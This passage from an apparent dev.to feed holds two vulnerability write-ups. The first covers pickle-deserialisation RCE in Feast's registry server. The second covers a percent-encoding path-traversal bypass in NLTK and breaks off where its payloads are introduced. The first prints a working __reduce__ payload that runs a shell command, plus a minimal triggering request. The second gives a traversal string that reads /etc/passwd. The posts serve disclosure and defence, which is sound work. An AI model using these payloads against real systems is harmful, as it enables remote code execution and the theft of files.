&lt;p&gt;To transmit and persist this function definition, Feast serializes the function object itself using &lt;strong&gt;&lt;code&gt;dill&lt;/code&gt;&lt;/strong&gt; (a superset of &lt;code&gt;pickle&lt;/code&gt;) and stores the resulting bytes in a &lt;code&gt;UserDefinedFunctionV2.body&lt;/code&gt; field inside the protobuf message.&lt;/p&gt;

&lt;p&gt;The problem: there is no way to verify who actually produced those bytes. Since the gRPC request is fully client-controlled, an attacker can put &lt;strong&gt;arbitrary malicious pickle bytes&lt;/strong&gt; in the &lt;code&gt;body&lt;/code&gt; field instead of a legitimate function, and the server has no way to tell the difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  2-3. The real sink — &lt;code&gt;dill.loads()&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;OnDemandFeatureView.from_proto()&lt;/code&gt; eventually calls &lt;code&gt;_parse_transformation_from_proto()&lt;/code&gt;, which in turn calls &lt;code&gt;PandasTransformation.from_proto()&lt;/code&gt; (or &lt;code&gt;PythonTransformation.from_proto()&lt;/code&gt;). This is where the actual vulnerable call lives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# sdk/python/feast/transformation/pandas_transformation.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dill&lt;/span&gt;

&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;from_proto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_defined_function_proto&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;udf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dill&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_defined_function_proto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;   &lt;span class="c1"&gt;# ← SINK
&lt;/span&gt;        &lt;span class="n"&gt;udf_string&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_defined_function_proto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dill.loads()&lt;/code&gt;, like Python's built-in &lt;code&gt;pickle&lt;/code&gt;, doesn't just parse data — it &lt;strong&gt;executes a stream of opcodes describing how to reconstruct an object&lt;/strong&gt;, including instructions like "instantiate this class with these arguments" or "call this function." Pickle/dill is not a data format; it's an executable format. Passing untrusted bytes into &lt;code&gt;.loads()&lt;/code&gt; is a well-known path to arbitrary code execution in the Python ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  2-4. Why code executes exactly here — &lt;code&gt;__reduce__&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When a Python object is pickled, if its class defines a &lt;code&gt;__reduce__&lt;/code&gt; method, that method can tell the pickle stream "to reconstruct this object, call this function with these arguments." Attackers abuse this to build a weaponized payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;_Payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__reduce__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# The moment dill.loads() tries to "reconstruct" this object,
&lt;/span&gt;        &lt;span class="c1"&gt;# os.system(self.cmd) is actually invoked
&lt;/span&gt;        &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;

&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_Payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id &amp;gt; /tmp/feast_pwned&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Send this &lt;code&gt;body&lt;/code&gt; value in the &lt;code&gt;user_defined_function.body&lt;/code&gt; field of an &lt;code&gt;ApplyFeatureView&lt;/code&gt; request, and the moment the server calls &lt;code&gt;dill.loads(body)&lt;/code&gt;, &lt;code&gt;os.system("id &amp;gt; /tmp/feast_pwned")&lt;/code&gt; executes &lt;strong&gt;with the privileges of the Feast service account&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Interestingly, &lt;code&gt;os.system()&lt;/code&gt; returns an integer (0), which &lt;code&gt;from_proto&lt;/code&gt; then tries to treat as a "deserialized UDF object," eventually raising &lt;code&gt;TypeError: 0 is not a module, class, method, or function&lt;/code&gt;. But that error is just a cosmetic side effect that fires &lt;strong&gt;after&lt;/strong&gt; the command has already run — the attack has already succeeded by that point.&lt;/p&gt;

&lt;h3&gt;
  
  
  2-5. A minimal attack payload
&lt;/h3&gt;

&lt;p&gt;The protobuf message needed to trigger this is surprisingly small — there's no need to populate a valid &lt;code&gt;source&lt;/code&gt; or &lt;code&gt;feature&lt;/code&gt; list at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight protobuf"&gt;&lt;code&gt;&lt;span class="n"&gt;ApplyFeatureViewRequest&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"feature_repo"&lt;/span&gt;
  &lt;span class="n"&gt;on_demand_feature_view&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;spec&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"pwn"&lt;/span&gt;
      &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"pandas"&lt;/span&gt;
      &lt;span class="n"&gt;feature_transformation&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;user_defined_function&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"pwn"&lt;/span&gt;
          &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;malicious&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt; &lt;span class="kt"&gt;bytes&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="n"&gt;body_text&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"..."&lt;/span&gt;
          &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"pandas"&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;OnDemandFeatureView.from_proto&lt;/code&gt; defaults &lt;code&gt;mode&lt;/code&gt; to &lt;code&gt;"pandas"&lt;/code&gt; when unset and parses the transformation logic (&lt;code&gt;feature_transformation&lt;/code&gt;) before validating the &lt;code&gt;source&lt;/code&gt;/&lt;code&gt;feature&lt;/code&gt; list, so this minimal spec is enough to reach the &lt;code&gt;dill.loads()&lt;/code&gt; sink.&lt;/p&gt;

&lt;h3&gt;
  
  
  2-6. Why authentication doesn't save you
&lt;/h3&gt;

&lt;p&gt;Two conditions compound here.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Feast's default &lt;code&gt;feature_store.yaml&lt;/code&gt; ships with &lt;strong&gt;no authentication&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;   &lt;span class="na"&gt;auth&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no_auth&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Registry gRPC server also opens a plaintext port via &lt;code&gt;server.add_insecure_port("[::]:6570")&lt;/code&gt;. In a default deployment, anyone who can reach port 6570 can call &lt;code&gt;ApplyFeatureView&lt;/code&gt; without authenticating at all.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Even if an admin enables &lt;code&gt;oidc&lt;/code&gt; or &lt;code&gt;kubernetes&lt;/code&gt; auth, &lt;strong&gt;&lt;code&gt;assert_permissions_to_update()&lt;/code&gt; is only invoked after &lt;code&gt;from_proto()&lt;/code&gt; (deserialization) has already run — so it doesn't help.&lt;/strong&gt; This is why the advisory for this CVE calls out both unauthenticated &lt;em&gt;and&lt;/em&gt; unauthorized attackers: a logged-in user who simply lacks permission to modify this particular resource can trigger the same RCE.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  3. Full attack flow diagram
&lt;/h2&gt;

&lt;p&gt;The diagram below traces the flow from the moment an attacker sends the gRPC request to the moment code actually executes, and finally to the authorization check that arrives too late — laid out as four color-coded lanes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8j8hbjvq11for26bnuvp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8j8hbjvq11for26bnuvp.png" alt=" " width="800" height="943"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Red (①)&lt;/strong&gt; — The attacker prepares a weaponized pickle payload using &lt;code&gt;__reduce__&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blue (②)&lt;/strong&gt; — What looks like a normal server processing path: the gRPC request is received and parsed all the way to &lt;code&gt;from_proto&lt;/code&gt; with no authentication at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Orange → dark red (③)&lt;/strong&gt; — Where the real danger happens. The &lt;code&gt;dill.loads()&lt;/code&gt; call itself &lt;em&gt;is&lt;/em&gt; the code-execution point; &lt;code&gt;__reduce__&lt;/code&gt; fires immediately after, running &lt;code&gt;os.system&lt;/code&gt;. By this point, the attack is already complete.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gray (④)&lt;/strong&gt; — The authorization check that should have run first arrives dead last. Even if it correctly denies the request at this point, it doesn't matter — the code has already executed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The structural lesson here is simple: &lt;strong&gt;having an authorization check exist is not the same as having it run before the dangerous code does.&lt;/strong&gt; Feast did have an authorization check in place — its problem was &lt;em&gt;when&lt;/em&gt; that check ran, not whether it existed.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/zHM52ywCgK8" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Patch analysis (0.63.0)
&lt;/h2&gt;

&lt;p&gt;Rather than simply moving the authorization check earlier, 0.63.0 fixes this by introducing a &lt;code&gt;skip_udf&lt;/code&gt; flag threaded through the entire &lt;code&gt;from_proto()&lt;/code&gt; call chain, so that &lt;strong&gt;the registry server path never deserializes the UDF body at all&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Patched registry_server.py
&lt;/span&gt;&lt;span class="n"&gt;OnDemandFeatureView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_proto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on_demand_feature_view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skip_udf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Patched from_proto internals
# "Parse transformation from proto (skip UDF deserialization if requested)"
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;HasField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_defined_function&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;skip_udf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;dill&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The registry server never needs to actually &lt;em&gt;execute&lt;/em&gt; the UDF — it only needs to persist the bytes. By hardcoding &lt;code&gt;skip_udf=True&lt;/code&gt; on the server path, the patch ensures that attacker-supplied specs never reach the &lt;code&gt;dill.loads()&lt;/code&gt; sink in the first place. Rather than fixing "when do we check permissions," the patch asks the more fundamental question: "do we even need to deserialize untrusted input here at all?"&lt;/p&gt;

&lt;p&gt;Whether a given build applies &lt;code&gt;skip_udf&lt;/code&gt; on the registry server path is effectively the practical marker separating vulnerable (&amp;lt; 0.63.0) from patched (≥ 0.63.0) versions.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Two takeaways worth internalizing
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;First, &lt;code&gt;pickle&lt;/code&gt;/&lt;code&gt;dill&lt;/code&gt; is not a data format — it's an executable program.&lt;/strong&gt; If you find code that calls &lt;code&gt;.loads()&lt;/code&gt; on bytes received from an untrusted source without verifying their origin, treat that call site as a remote-code-execution point by default. Always ask whether a pure data format like &lt;code&gt;json&lt;/code&gt; could replace it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second, an authorization check must be verified by &lt;em&gt;execution order&lt;/em&gt;, not just presence.&lt;/strong&gt; In code review it's easy to confirm that &lt;code&gt;assert_permissions_to_update()&lt;/code&gt; (or similar) is being called somewhere and move on. What actually matters is confirming it runs &lt;strong&gt;before&lt;/strong&gt; any dangerous logic — parsing, deserialization, file access, external calls — not after.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>vulnerabilities</category>
      <category>cve</category>
      <category>ubuntu</category>
    </item>
    <item>
      <title>CVE-2026-12243 — How a Percent-Encoded Slash Bypasses NLTK's Path Traversal Guard</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 11 Sep 2026 08:21:43 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-12243-how-a-percent-encoded-slash-bypasses-nltks-path-traversal-guard-c11</link>
      <guid>https://dev.to/guidance_white/cve-2026-12243-how-a-percent-encoded-slash-bypasses-nltks-path-traversal-guard-c11</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8pbmdeevv10k69d06zvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8pbmdeevv10k69d06zvg.png" alt=" " width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-12243&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affects&lt;/td&gt;
&lt;td&gt;NLTK (Natural Language Toolkit) ≤ 3.9.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weakness&lt;/td&gt;
&lt;td&gt;CWE-22 (Path Traversal)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.5 High — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause&lt;/td&gt;
&lt;td&gt;Percent-encoding bypasses path validation — a classic decode-after-check bug&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Arbitrary file read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;3.10.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backstory&lt;/td&gt;
&lt;td&gt;An earlier fix for GitHub Issue #3504 turned out to be incomplete&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;NLTK is one of the most widely used NLP libraries in the Python ecosystem, and &lt;code&gt;nltk.data.load()&lt;/code&gt; / &lt;code&gt;nltk.data.find()&lt;/code&gt; sit on the hot path every time a corpus or model gets loaded. Both functions turn a "resource name" string into a filesystem path, and that conversion had a validation bypass: a literal &lt;code&gt;../&lt;/code&gt; gets blocked correctly, but its percent-encoded form — &lt;code&gt;%2e%2e%2f&lt;/code&gt; or plain &lt;code&gt;%2f&lt;/code&gt; — sails through the check and only gets decoded into a real path afterward.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why it happened — the gap in the earlier fix (Issue #3504)
&lt;/h2&gt;

&lt;p&gt;NLTK had dealt with path traversal before, and the mitigation lived as a regex filter in &lt;code&gt;nltk/data.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# nltk/data.py (vulnerable, as of 3.9.4)
&lt;/span&gt;&lt;span class="n"&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:\.\./|\.\.$|^/|\\|[A-Za-z]:[/\\])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;paths&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;resource_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;normalize_resource_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unsafe resource path: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# ... resource_name, having passed the check, is used as-is below
&lt;/span&gt;    &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;url2pathname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;FileSystemPathPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Literal &lt;code&gt;../&lt;/code&gt;, a leading &lt;code&gt;/&lt;/code&gt;, backslashes, and Windows drive letters (&lt;code&gt;C:/&lt;/code&gt;) are all caught precisely by this regex. The problem is &lt;em&gt;what&lt;/em&gt; gets checked. &lt;code&gt;_UNSAFE_NO_PROTOCOL_RE.search()&lt;/code&gt; only ever runs against the raw, still-URL-encoded string. But the very next line calls the standard library's &lt;code&gt;url2pathname()&lt;/code&gt;, which has the side effect of decoding &lt;code&gt;%xx&lt;/code&gt; percent sequences.&lt;/p&gt;

&lt;p&gt;In other words: &lt;strong&gt;validation happens on the encoded string, while the filesystem path is built from the decoded one.&lt;/strong&gt; That gap between check-time and use-time is exactly what this vulnerability exploits — the textbook shape of a "decode-after-check" (or TOCTOU-style) flaw.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7u2o9ozzxz8q5ef9tyjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7u2o9ozzxz8q5ef9tyjk.png" alt=" " width="800" height="1107"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Walking through the attack string &lt;code&gt;corpora/..%2f..%2f..%2fetc%2fpasswd&lt;/code&gt; step by step:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/code&gt; inspects the raw string. &lt;code&gt;..%2f&lt;/code&gt; contains no literal &lt;code&gt;../&lt;/code&gt; — it's literally the characters &lt;code&gt;%&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt; — so the regex doesn't match, and the check passes.&lt;/li&gt;
&lt;li&gt;The now-validated string is handed to &lt;code&gt;url2pathname()&lt;/code&gt;, which decodes &lt;code&gt;%2f&lt;/code&gt; into &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;%2e&lt;/code&gt; into &lt;code&gt;.&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The decoding produces &lt;code&gt;corpora/../../../etc/passwd&lt;/code&gt; — exactly the pattern the regex was supposed to stop.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.path.join(nltk_data_dir, decoded_path)&lt;/code&gt; normalizes this and walks straight out of the intended directory, landing on &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/aeYmk96rWNc" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  Three payloads, two different outcomes
&lt;/h2&gt;

&lt;p&gt;Based on the PoC filed on huntr, comparing three payloads makes the bypass condition obvious:&lt;/p&gt;

